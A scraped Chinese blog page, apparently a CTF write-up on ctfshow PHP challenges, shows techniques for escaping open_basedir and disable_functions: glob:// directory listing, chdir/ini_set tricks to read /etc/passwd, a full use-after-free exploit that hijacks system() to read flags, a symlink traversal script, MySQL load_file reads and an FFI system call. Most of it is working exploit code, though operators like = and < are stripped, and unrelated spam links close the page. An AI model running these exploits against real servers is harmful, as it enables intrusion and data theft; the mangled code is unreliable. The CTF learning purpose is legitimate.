当前位置: 首页 > news >正文

网站轮播广告代码无忧自助建站

网站轮播广告代码,无忧自助建站,抖音的电子商务网站建设,一个网站怎么推广讲解 open_basedir是php.ini中的一个配置选项#xff0c;可用于将用户访问文件的活动范围限制在指定的区域。 假设open_basedir/var/www/html/web1/:/tmp/#xff0c;那么通过web1访问服务器的用户就无法获取服务器上除了/var/www/html/web1/和/tmp/这两个目录以外的文件。…讲解 open_basedir是php.ini中的一个配置选项可用于将用户访问文件的活动范围限制在指定的区域。 假设open_basedir/var/www/html/web1/:/tmp/那么通过web1访问服务器的用户就无法获取服务器上除了/var/www/html/web1/和/tmp/这两个目录以外的文件。 ctfshow题目  error_reporting(0); highlight_file(__FILE__);eval($_POST[1]); 利用命令执行函数Bypass open_basedir对命令执行函数没有限制我们可以使用system()函数读到目标文件 利用glob://伪协议Bypass  只是用glob://伪协议是无法直接绕过的它需要结合其他函数组合利用主要有以下两种利用方式局限性在于它们都只能列出根目录下和open_basedir指定的目录下的文件不能列出除前面的目录以外的目录中的文件且不能读取文件内容。  方式1—DirectoryIteratorglob:// DirectoryIterator是php5中增加的一个类为用户提供一个简单的查看目录的接口。 DirectoryIterator与glob://结合将无视open_basedir列举出根目录下的文件  ?php 一句话payload $c glob:///* $a new DirectoryIterator($c); foreach($a as $f){echo($f-__toString().br); } ? c$c glob:///*;$a new DirectoryIterator($c);foreach($a as $f){echo($f-__toString().br);}exit(); 方式2——opendir()readdir()glob:// opendir()函数为打开目录句柄readdir()函数为从目录句柄中读取条目  一句话 c$aopendir(./); while (($file readdir($a)) ! false){echo $file . br; };exit(0);利用chdir()与ini_set()组合Bypass payload其中chdir(..)尽量多确保到达根目录 mkdir(mi1k7ea);chdir(mi1k7ea);ini_set(open_basedir,..);chdir(..);chdir(..);chdir(..);chdir(..);ini_set(open_basedir,/);echo file_get_contents(/etc/passwd);然后使用脚本来读取flag文件 脚本需要编码传参 ??php pwn(cat /flag0.txt); function pwn($cmd) {global $abc, $helper, $backtrace;class Vuln {public $a;public function __destruct() { global $backtrace; unset($this-a);$backtrace (new Exception)-getTrace(); # ;)if(!isset($backtrace[1][args])) { # PHP 7.4$backtrace debug_backtrace();}}}class Helper {public $a, $b, $c, $d;}function str2ptr($str, $p 0, $s 8) {$address 0;for($j $s-1; $j 0; $j--) {$address 8;$address | ord($str[$p$j]);}return $address;}function ptr2str($ptr, $m 8) {$out ;for ($i0; $i $m; $i) {$out . sprintf(%c,($ptr 0xff));$ptr 8;}return $out;}function write($str, $p, $v, $n 8) {$i 0;for($i 0; $i $n; $i) {$str[$p $i] sprintf(%c,($v 0xff));$v 8;}}function leak($addr, $p 0, $s 8) {global $abc, $helper;write($abc, 0x68, $addr $p - 0x10);$leak strlen($helper-a);if($s ! 8) { $leak % 2 ($s * 8) - 1; }return $leak;}function parse_elf($base) {$e_type leak($base, 0x10, 2);$e_phoff leak($base, 0x20);$e_phentsize leak($base, 0x36, 2);$e_phnum leak($base, 0x38, 2);for($i 0; $i $e_phnum; $i) {$header $base $e_phoff $i * $e_phentsize;$p_type leak($header, 0, 4);$p_flags leak($header, 4, 4);$p_vaddr leak($header, 0x10);$p_memsz leak($header, 0x28);if($p_type 1 $p_flags 6) { # PT_LOAD, PF_Read_Write# handle pie$data_addr $e_type 2 ? $p_vaddr : $base $p_vaddr;$data_size $p_memsz;} else if($p_type 1 $p_flags 5) { # PT_LOAD, PF_Read_exec$text_size $p_memsz;}}if(!$data_addr || !$text_size || !$data_size)return false;return [$data_addr, $text_size, $data_size];}function get_basic_funcs($base, $elf) {list($data_addr, $text_size, $data_size) $elf;for($i 0; $i $data_size / 8; $i) {$leak leak($data_addr, $i * 8);if($leak - $base 0 $leak - $base $data_addr - $base) {$deref leak($leak);# constant constant checkif($deref ! 0x746e6174736e6f63)continue;} else continue;$leak leak($data_addr, ($i 4) * 8);if($leak - $base 0 $leak - $base $data_addr - $base) {$deref leak($leak);# bin2hex constant checkif($deref ! 0x786568326e6962)continue;} else continue;return $data_addr $i * 8;}}function get_binary_base($binary_leak) {$base 0;$start $binary_leak 0xfffffffffffff000;for($i 0; $i 0x1000; $i) {$addr $start - 0x1000 * $i;$leak leak($addr, 0, 7);if($leak 0x10102464c457f) { # ELF headerreturn $addr;}}}function get_system($basic_funcs) {$addr $basic_funcs;do {$f_entry leak($addr);$f_name leak($f_entry, 0, 6);if($f_name 0x6d6574737973) { # systemreturn leak($addr 8);}$addr 0x20;} while($f_entry ! 0);return false;}function my_str_repeat($a,$b){$s ;for($i 0; $i $b;$i){$s.$a;} return $s;}function trigger_uaf($arg) {# str_shuffle prevents opcache string interning$arg str_shuffle(my_str_repeat(A, 79));$vuln new Vuln();$vuln-a $arg;}if(stristr(PHP_OS, WIN)) {die(This PoC is for *nix systems only.);}$n_alloc 10; # increase this value if UAF fails$contiguous [];for($i 0; $i $n_alloc; $i)$contiguous[] str_shuffle(my_str_repeat(A, 79));trigger_uaf(x);$abc $backtrace[1][args][0];$helper new Helper;$helper-b function ($x) { };if(strlen($abc) 79 || strlen($abc) 0) {die(UAF failed);}# leaks$closure_handlers str2ptr($abc, 0);$php_heap str2ptr($abc, 0x58);$abc_addr $php_heap - 0xc8;# fake valuewrite($abc, 0x60, 2);write($abc, 0x70, 6);# fake referencewrite($abc, 0x10, $abc_addr 0x60);write($abc, 0x18, 0xa);$closure_obj str2ptr($abc, 0x20);$binary_leak leak($closure_handlers, 8);if(!($base get_binary_base($binary_leak))) {die(Couldnt determine binary base address);}if(!($elf parse_elf($base))) {die(Couldnt parse ELF header);}if(!($basic_funcs get_basic_funcs($base, $elf))) {die(Couldnt get basic_functions address);}if(!($zif_system get_system($basic_funcs))) {die(Couldnt get zif_system address);}# fake closure object$fake_obj_offset 0xd0;for($i 0; $i 0x110; $i 8) {write($abc, $fake_obj_offset $i, leak($closure_obj, $i));}# pwnwrite($abc, 0x20, $abc_addr $fake_obj_offset);write($abc, 0xd0 0x38, 1, 4); # internal func typewrite($abc, 0xd0 0x68, $zif_system); # internal func handler($helper-b)($cmd);exit(); } exit(); P神脚本绕过  传参file为 ?php /* * by phithon * From https://www.leavesongs.com * detail: http://cxsecurity.com/issue/WLB-2009110068 */ header(content-type: text/plain); error_reporting(-1); ini_set(display_errors, TRUE); printf(open_basedir: %s\nphp_version: %s\n, ini_get(open_basedir), phpversion()); printf(disable_functions: %s\n, ini_get(disable_functions)); $file str_replace(\\, /, isset($_REQUEST[file]) ? $_REQUEST[file] : /etc/passwd); $relat_file getRelativePath(__FILE__, $file); $paths explode(/, $file); $name mt_rand() % 999; $exp getRandStr(); mkdir($name); chdir($name); for($i 1 ; $i count($paths) - 1 ; $i){mkdir($paths[$i]);chdir($paths[$i]); } mkdir($paths[$i]); for ($i - 1; $i 0; $i--) { chdir(..); } $paths explode(/, $relat_file); $j 0; for ($i 0; $paths[$i] ..; $i) { mkdir($name);chdir($name);$j; } for ($i 0; $i $j; $i) { chdir(..); } $tmp array_fill(0, $j 1, $name); symlink(implode(/, $tmp), tmplink); $tmp array_fill(0, $j, ..); symlink(tmplink/ . implode(/, $tmp) . $file, $exp); unlink(tmplink); mkdir(tmplink); delfile($name); $exp dirname($_SERVER[SCRIPT_NAME]) . /{$exp}; $exp http://{$_SERVER[SERVER_NAME]}{$exp}; echo \n-----------------content---------------\n\n; echo file_get_contents($exp); delfile(tmplink);function getRelativePath($from, $to) {// some compatibility fixes for Windows paths$from rtrim($from, \/) . /;$from str_replace(\\, /, $from);$to str_replace(\\, /, $to);$from explode(/, $from);$to explode(/, $to);$relPath $to;foreach($from as $depth $dir) {// find first non-matching dirif($dir $to[$depth]) {// ignore this directoryarray_shift($relPath);} else {// get number of remaining dirs to $from$remaining count($from) - $depth;if($remaining 1) {// add traversals up to first matching dir$padLength (count($relPath) $remaining - 1) * -1;$relPath array_pad($relPath, $padLength, ..);break;} else {$relPath[0] ./ . $relPath[0];}}}return implode(/, $relPath); }function delfile($deldir){if (is_file($deldir)) {chmod($deldir,0777);return unlink($deldir);}else if(is_dir($deldir)){if(($mydir opendir($deldir)) NULL) return false;while(false ! ($file readdir($mydir))){$name File_Str($deldir./.$file);if(($file!.) ($file!..)){delfile($name);}} closedir($mydir);chmod($deldir,0777);return rmdir($deldir) ? true : false;} }function File_Str($string) {return str_replace(//,/,str_replace(\\,/,$string)); }function getRandStr($length 6) {$chars abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789;$randStr ;for ($i 0; $i $length; $i) {$randStr . substr($chars, mt_rand(0, strlen($chars) - 1), 1);}return $randStr; }1绕过例题 ob_get_contents — 返回输出缓冲区的内容 ob_end_clean — 清空擦除缓冲区并关闭输出缓冲  需要exit(0)中断退出或者eval语句格式为 ??php    ?来闭合让后面代码不执行 error_reporting(0); ini_set(display_errors, 0); // 你们在炫技吗 if(isset($_POST[c])){$c $_POST[c];eval($c);$s ob_get_contents();ob_end_clean();echo preg_replace(/[0-9]|[a-z]/i,?,$s); }else{highlight_file(__FILE__); }? 题目禁了很多函数 payload: cvar_export(scandir(/));exit(); cinclude(/flagc.txt);exit(0); crequire(/flagc.txt);exit(0); crequire_once(/flagc.txt);exit(0); 如果open_basedir限制了flag文件那么可以用sql读取 利用mysql的load_file读文件绕过open_basedir 限制。只限制了PHP的访问目录不关MYSQL的事情数据库名、账号密码可以通过之前的题目过滤少的拿到。所以这个方法条件是必须要有数据库名、账号密码 ctry {$dbh new PDO(mysql:hostlocalhost;dbnamectftraining, root,root);foreach($dbh-query(select load_file(/flag36.txt)) as $row){echo($row[0]).|; }$dbh null;}catch (PDOException $e) {echo $e-getMessage();exit(0);}exit(0); 2 web 77   FFIphp7.4以上才有  这题在题干中说到php7.4可以来绕过disable_functions FFIForeign Function Interface即外部函数接口是指在一种语言里调用另一种语言代码的技术。PHP的FFI扩展就是一个让你在PHP里调用C代码的技术。 payload c $ffiFFI :: cdef(int system(const char *command);); $a/readflag 1.txt; $ffi-system($a); exit();
http://www.w-s-a.com/news/789891/

相关文章:

  • 商务网站建设找哪家本地推广找哪些网站
  • 手机h5网站企业网站管理系统的运维服务
  • 南京建设网站公司网站游戏怎么制作
  • 成都建站程序苏州市建设局招标网站首页
  • 自助建网站市场公司起名大全2020最新版的
  • dede网站模板北京 网站开发 大兴
  • 网站优化师招聘建设牌安全带官方网站
  • 南京网站建设网站做视频网站用什么格式
  • 普陀做网站价格wordpress接入qq互联
  • 网站2级页面怎么做杭州哪家做外贸网站
  • 做了静态网站怎么显示在互联网上营销策划与运营方案
  • 常见的英文网站国内军事新闻大事件
  • 傻瓜式做网站程序微信怎么开公众号
  • c2c电商网站wordpress仿36kr主题
  • 网站建设公司开发免费图纸网站
  • 一个网站页面设计多少钱做预算查价格的网站是哪个
  • 鳌江哪里有做网站百度短链接在线生成
  • 有没有什么做水利资料的网站杭州建设信用平台
  • 电子商务网站建设及推广方案论文wordpress无法显示文章
  • 建设工程监理网站前端和后端分别需要学什么
  • 公司网站制作效果国内最好的在线网站建设
  • 徐州好点的做网站的公司有哪些wordpress 工具插件下载
  • 如何用云服务器建设网站微网站免费开发平台
  • 官网的网站设计公司做网站需要准备哪些东西
  • 程序员和做网站那个好找工作wordpress二维码 插件
  • 湖南城市建设技术学院官方网站青海省建设局网站
  • 响应式网站有什么区别百度网站官网
  • 金华企业自助建站系统长沙建站公司模板
  • 云主机 做网站友情链接网站
  • 定制型网站设计天津网站模板建站